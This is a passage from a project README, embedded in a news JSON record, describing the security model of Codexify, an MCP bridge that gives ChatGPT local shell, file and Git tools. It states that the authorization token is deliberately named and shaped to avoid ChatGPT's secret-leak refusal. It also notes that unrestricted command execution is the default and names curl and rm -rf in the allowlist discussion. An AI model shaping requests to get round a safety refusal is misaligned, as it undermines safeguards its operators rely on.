port\n`3000`\n\n. - Create a URL-based developer connector/plugin whose server URL is the resulting HTTPS URL with\n`/mcp`\n\nappended. - Configure the connector authentication supported by the client, and enforce access controls at the proxy/tunnel layer.\n\nFor example, `ngrok http 3000`\n\nis sufficient for a disposable connectivity test, but an unprotected public URL is not an appropriate long-lived deployment. Use provider access policies, source restrictions, mTLS, OAuth, or another control appropriate to the deployment. The `--api-key`\n\noption is useful for MCP clients that can send a static bearer token; ChatGPT's connector authentication choices may not support that form directly.\n\nWithout `openaiTunnel`\n\n, `allowedHosts`\n\nis empty by default, which accepts any `Host`\n\nheader so an externally managed proxy can present an arbitrary hostname. Set it to a list of hostnames to enable **DNS-rebinding protection**: only requests whose `Host`\n\nheader matches are served.\n\nNative tunnel mode ignores `allowedHosts`\n\nand forces the accepted authorities to `127.0.0.1`\n\n, `localhost`\n\n, and `::1`\n\n. It also binds only `127.0.0.1`\n\nand removes the permissive CORS layer. These restrictions are part of the mode rather than optional hardening.\n\n**Self-update is an explicit privileged operation**:`self_update`\n\nis advertised as destructive and open-world, requires`confirm=true`\n\n, and accepts only the standard installed executable. Downloads are bounded and SHA-256-verified against the selected GitHub release before any service interruption. The detached worker is a generated private file with fixed arguments; it retains a rollback executable until replacement validation and service restart complete.**Path traversal prevention**: every filesystem tool — including`apply_patch`\n\nand`view_image`\n\n— resolves paths through a guard that rejects anything outside the active project root. In multi-project mode, both catalogue discovery and`set_project_root`\n\ncanonicalize the configured access root and candidate directory, so`..`\n\nand symlinks cannot expose or bind a project outside the access root.**Stable server-config authority**: the implicit config is user-scoped at`~/.codexify/codexify.config.json`\n\n, so changing the launch directory does not change command, MCP-server, network, tunnel, or worktree policy.`--config`\n\nand`CODEXIFY_CONFIG`\n\nare explicit overrides.**Bounded Git cloning and GitHub target fetching**: URL-based project selection accepts provider-agnostic HTTPS/SSH repository URLs ending in`.git`\n\n, plus GitHub repository roots and HTTPS branch, PR, and full commit URLs. Normalized remote identity lets conventional hosting-service SSH forms such as`git@host:group/repository.git`\n\nreuse their HTTPS checkout while keeping arbitrary SSH users and custom-port endpoints distinct. Credential-bearing HTTPS URLs, local/file transports, HTTP,`git://`\n\n, query strings, fragments, and unsupported GitHub subpages are rejected, and interactive Git credential prompts are disabled. The configured clone directory is canonicalized inside the access root at startup and revalidated at use time. Resolution uses per-repository cross-process locks, bounded subprocess timeouts, private temporary clone destinations, remote verification, exact GitHub branch/PR refspecs or full commit object IDs, and collision refusal. Existing source checkouts are fetched without moving`HEAD`\n\n; a conversation already bound to another selection is rejected before the network/disk side effect.**Host-authorized native-file ingress**:`import_host_file`\n\naccepts only ChatGPT's declared native-file object, rejects local source paths, constrains the download URL and every redirect hop to the configurable`artifactIngress.allowedHosts`\n\nallowlist (default`\"*\"`\n\n, which admits any public HTTPS host but never a loopback, private, link-local, unique-local, CGNAT,`localhost`\n\n, or metadata address), ignores ambient proxy credentials, and enforces whole-request, idle, size and concurrency limits. Its signed URL and file ID are never logged or returned: RMCP debug/trace payload logging is unconditionally suppressed even when`RUST_LOG`\n\nrequests it. Destination publication uses a capability-confined directory handle, canonical-path and file-identity revalidation, a private partial file, SHA-256, and atomic no-overwrite linking so traversal, moved roots, symlink escapes, partial visibility and replacement races fail closed.**Bounded native-file egress**:`export_host_file`\n\naccepts only a relative regular-file path inside the active project, opens it through a capability-confined directory handle, rejects traversal and symlink escapes, enforces`artifactEgress.maxFileBytes`\n\nbefore and during the read, and returns a SHA-256 receipt plus a standard MCP resource link. The link carries a random 256-bit opaque capability rather than a local path. Its immutable bytes live only in a process-wide memory cache bounded by`maxCachedBytes`\n\n,`maxReferences`\n\nand`referenceTtlMs`\n\n; expired and evicted references fail closed, and audit output records only the number of resource links, never their URIs or filenames.**Bounded transitive resource egress**: a`resource_link`\n\nreturned by any bridged MCP tool is never passed downstream with its upstream URI. Codexify replaces it with a random 256-bit`codexify://upstream-resource/...`\n\ncapability tied to that exact upstream peer and URI.`resources/read`\n\nforwards through the existing authenticated MCP transport, propagates downstream cancellation, applies the upstream tool timeout, enforces`artifactEgress.maxFileBytes`\n\nagainst advertised and actual content size, rewrites returned content URIs back to the opaque capability, and expires/evicts mappings according to the configured TTL/reference bounds.**One bounded exception in single-project mode**:[AGENTS.md](#agentsmd)discovery may read above`--work-dir`\n\n, up to the nearest`.git`\n\n. It is read-only, opens only`AGENTS.override.md`\n\n,`AGENTS.md`\n\nand any`projectDoc.fallbackFilenames`\n\n, and`get_project_doc`\n\nreports the absolute path of every file it used. Set`projectDoc.maxBytes`\n\nto`0`\n\nto switch it off, or`projectDoc.rootMarkers`\n\nto`[]`\n\nto keep the search inside the work directory. Multi-project mode does not perform this upward walk; its selected directory is the exact project root.**Namespaced diff state inside Git**: ChatGPT diff checkpoints are exactly two refs per conversation/project pair under`refs/codexify/diff/`\n\n. Synthetic snapshots contain only the selected project path, are built through a temporary index, and never modify the real index or working tree. Generic MCP-client checkpoints are in memory only. Existing`refs/codexify/review/`\n\ncheckpoints are migrated lazily into the diff namespace. The namespace grows with the number of distinct persistent conversation/project pairs; the diff section documents inspection and manual removal.**Bounded state writes outside the work directory**:`remember`\n\nand`update_plan`\n\nwrite`memory.json`\n\nunder`~/.codexify/projects/`\n\n. Multi-project mode also writes one small project-binding record under`~/.codexify/conversation-projects/`\n\nfor each ChatGPT conversation and access root. Per-conversation authorization writes a small marker under`~/.codexify/conversation-authorizations/`\n\n. Binding and authorization filenames are derived from a hash of`openai/session`\n\n; the raw identifier is not stored. Authorization namespaces include a one-way digest of the canonical work directory and configured token, while marker contents store only the grant. Set`memory.enabled`\n\nto`false`\n\nto disable plans and notes; delete the corresponding state directory to forget bindings or authorizations. See[Context and memory](#context-and-memory).**Bounded reads outside the work directory**:[skills](#skills)may live in`~/.agents/skills`\n\n,`~/.codex/skills`\n\n,`~/.claude/skills`\n\n, or an enabled installed Codex/Claude Code plugin. Codex plugin discovery reads only Codex's user config, active plugin-cache package, manifest, and declared skill roots;`skills_read`\n\nthen opens files only inside a discovered skill package. Its`resource`\n\npath is checked against the skill's own directory, so it cannot walk out into the rest of your home directory.`skills_list`\n\nreports the absolute path of every skill it found. Set`skills.enabled`\n\nto`false`\n\nto switch it off,`skills.includePlugins`\n\nto`false`\n\nto suppress plugin packages, or`skills.dirs`\n\nto point the standalone user scope somewhere you choose.**Read-only Codex configuration discovery**: MCP import and the project catalogue read the user-level Codex`config.toml`\n\nwithout rewriting it. Project discovery inspects only the top-level`projects`\n\ntable, does not read candidate project contents, and suppresses rejected absolute paths from MCP output. Set`projectCatalog.codexConfig.enabled`\n\nto`false`\n\nto disable that provider. Native Codex trust does not override the Codexify access-root boundary.**Command execution policy**:`exec_command`\n\nis unrestricted by default, matching the requested Codex-like local-agent behavior. Operators who want a guardrail can set`exec.mode`\n\nto`\"allowlist\"`\n\n; in that mode every command position in the shell string is checked against the complete`exec.extraAllowedCommands`\n\nlist. This is a guardrail, not a sandbox: an allowed interpreter can still execute arbitrary code.**Bridged servers carry delegated authority**: an explicit`mcpServers`\n\nentry or an automatically imported Codex MCP—including one contributed by a Codex plugin—can receive model-directed calls. A stdio upstream launches a real process that runs as your OS user; a Streamable HTTP upstream receives calls plus its configured bearer token and HTTP headers. Catalog mode reduces connector-schema exposure, not runtime authority:`mcp_call_tool`\n\ncan still dispatch any filtered catalogue entry. Only bridge servers you trust, use`tools`\n\n/`disabledTools`\n\nto narrow callable operations, prefer catalog mode to keep transitive schemas private, keep secrets in`bearerTokenEnvVar`\n\n/`envHttpHeaders`\n\nrather than static JSON, set`codexMcp.useCli`\n\nto`false`\n\nto exclude plugin-only discovery, or set`codexMcp.enabled`\n\nto`false`\n\nto disable all automatic Codex import. Launch, connection, authentication, and handshake failures are reported rather than silently ignored.**Native OpenAI tunnel is outbound-only**: Codexify binds its MCP listener to loopback and supervises OpenAI's official runtime-only tunnel client. Startup fails unless the runtime reports`/readyz`\n\nand completes a control-plane poll. Failure of either process stops the other, and HTTP shutdown has a bounded grace period before remaining connections are aborted.**The loopback MCP hop is authenticated**: native mode generates a random per-process bearer token and configures the tunnel runtime to send it on MCP requests and discovery probes. The token is never printed, written to the config file, or inherited by model-launched commands and bridged MCP children.**Optional conversation-level authorization**:`conversationAuthToken`\n\nblocks all tools except the deliberately innocuous`setup`\n\nwire tool until the stable ChatGPT conversation presents the configured authentication token as`ref`\n\n. Successful grants persist by hashed conversation identity and are invalidated by token rotation; clients without`openai/session`\n\nget transport-only grants. Initialization withholds the project-aware brief until authorization succeeds. The`setup(ref)`\n\nnaming and SHA-256-shaped token avoid ChatGPT's false-positive connector secret-leak refusal; they do not make the token public or replace real authentication. This gate controls model conversations, not network callers: keep the native tunnel, reverse proxy, ChatGPT workspace, and local account secured independently. The token remains plaintext in`codexify.config.json`\n\nbecause the server must compare chat-supplied values, so keep that file private and out of version control.**Verified tunnel-client installation**: the managed client is pinned to a specific official release and per-platform archive SHA-256 embedded in Codexify, extracted by exact filename under size limits, installed atomically with private permissions, and hash-checked against its installation manifest on subsequent starts. Set`clientPath`\n\nto opt out of managed installation while retaining compatibility checks.**Tunnel secrets are references, not config values**:`openaiTunnel.apiKeyRef`\n\naccepts only`env:NAME`\n\nor`file:/path`\n\n; literal API keys are rejected. Codexify resolves the value and exposes it only to the tunnel child under a synthetic environment name, while the child receives a clean, allowlisted environment. Use a restricted runtime key with Tunnels**Read**+** Use**, not an admin key. Private key-file permissions are enforced on Unix. Same-user process inspection and same-user file access remain outside this boundary.**Optional bearer token auth in non-native mode**: set`--api-key`\n\nto require an`Authorization: Bearer <key>`\n\nheader on all requests except`/health`\n\n. Native mode instead owns its private per-process bearer token. ChatGPT Plugins do not support simple bearer token auth for URL-based connectors.**Host allowlist**: set`allowedHosts`\n\nto pin the accepted`Host`\n\nheader for DNS-rebinding protection. See[Host allowlist](#host-allowlist).**Tool payload logging is explicitly sensitive**:`toolLogging`\n\n/`--log-tool-payloads`\n\ncan retain source code, paths, commands, model output, and data returned by delegated MCP servers. Redaction removes configured and heuristically recognized credentials before byte-bounded truncation; MCP image content-block base64 and resource-link capability URIs are always omitted. Arbitrary sensitive literals still cannot be identified perfectly. Leave the mode`off`\n\nunless the operational visibility is worth that exposure, and protect the process logs accordingly.**Audit records exclude payloads by default**:`--audit`\n\nwrites hashes, timings, result sizes, and redacted argument shape rather than source, file paths, credentials, or returned output. Command previews require a separate opt-in and remain potentially sensitive even after configured and heuristic redaction, so protect the audit file as operational data.\n\nThe allowlist is a **guardrail against accidents, not a sandbox**. It catches a model reaching for `curl`\n\nor `rm -rf`\n\n; it does not contain a determined one. The defaults already include `node`\n\n, `python`\n\nand `cargo`\n\n, each of which runs arbitrary code — `node -e \"...\"`\n\ncan do anything the server process can. Shell redirection and explicit absolute or parent paths can also reach outside the active project root even though each command starts with that root as its cwd. Multi-project selection isolates Codexify's structured tools and logical per-conversation project state; it is not an operating-system sandbox. Treat everything below as reachable by whoever is authorized to use the configured connector or external endpoint:\n\n- everything in the active project root, read and write\n- in multi-project mode, any project beneath the configured access root can be selected by a new conversation or unbound transport session, and an exact supported Git repository URL can add a checkout beneath\n`projectCloneDir`\n\n; GitHub branch, PR, and commit URLs can additionally target exact revisions - anything else the user account running the server can touch, via an allowlisted interpreter\n- the network, from your machine\n- anything a bridged MCP server can do\n\nFor clients without stable ChatGPT conversation metadata, `exec_command`\n\nsessions are killed when the MCP transport closes. ChatGPT conversation-owned\nsessions instead survive connector transport replacement and are killed by\n`exec.idleTimeoutMs`\n\nor server shutdown. In either case the kill includes child\nprocesses: `taskkill /T /F`\n\nwalks the process tree on Windows, and on POSIX each\nsession gets its own process group that is signalled as a whole. A process that\ndeliberately re-parents or daemonises itself still escapes, so check for strays\nif a run leaves something listening.\n\nThe native OpenAI tunnel removes the general public-URL exposure, but it does not reduce the authority of a successful tool call. Keep tunnel and connector permissions narrow, do not point Codexify at directories you do not trust the model with, and set `exec.mode`\n\nand the command allowlists tighter than the defaults when the work directory is sensitive. In multi-project mode, the entire access-root subtree is intentionally selectable, so treat the whole subtree as sensitive. For an external tunnel, require tunnel-level access control rather than relying on URL secrecy.\n\n```\ncargo run -- --work-dir /path/to/project   # run against a project\ncargo build --release                       # optimized binary at target/release/codexify\ncargo test                                  # run the test suite\ncargo clippy --all-targets                  # lints\ncargo fmt                                    # format\n```\n\nThe design and module layout are documented in [docs/ARCHITECTURE.md](/devnoname120/codexify/blob/main/docs/ARCHITECTURE.md).\n\n— the end-user guide, from arguments to operational flow. Good starting points:[Wiki](https://github.com/devnoname120/codexify/wiki)— internal design and module layout, for contributors.[docs/ARCHITECTURE.md](/devnoname120/codexify/blob/main/docs/ARCHITECTURE.md)— release history.[CHANGELOG.md](/devnoname120/codexify/blob/main/CHANGELOG.md)\n\nMIT - see [LICENSE](/devnoname120/codexify/blob/main/LICENSE).", "url": "https://wpnews.pro/news/unlimited-codex-inside-chatgpt", "canonical_source": "https://github.com/devnoname120/codexify", "published_at": "2026-08-31 07:33:05+00:00", "updated_at": "2026-08-31 07:52:33.888698+00:00", "lang": "en", "topics": ["ai-tools", "developer-tools", "ai-agents"], "entities": ["Codexify", "ChatGPT Web Pro", "OpenAI", "Codex", "rmcp", "tokio", "axum"], "alternates": {"html": "https://wpnews.pro/news/unlimited-codex-inside-chatgpt", "markdown": "https://wpnews.pro/news/unlimited-codex-inside-chatgpt.md", "text": "https://wpnews.pro/news/unlimited-codex-inside-chatgpt.txt", "jsonld": "https://wpnews.pro/news/unlimited-codex-inside-chatgpt.jsonld"}}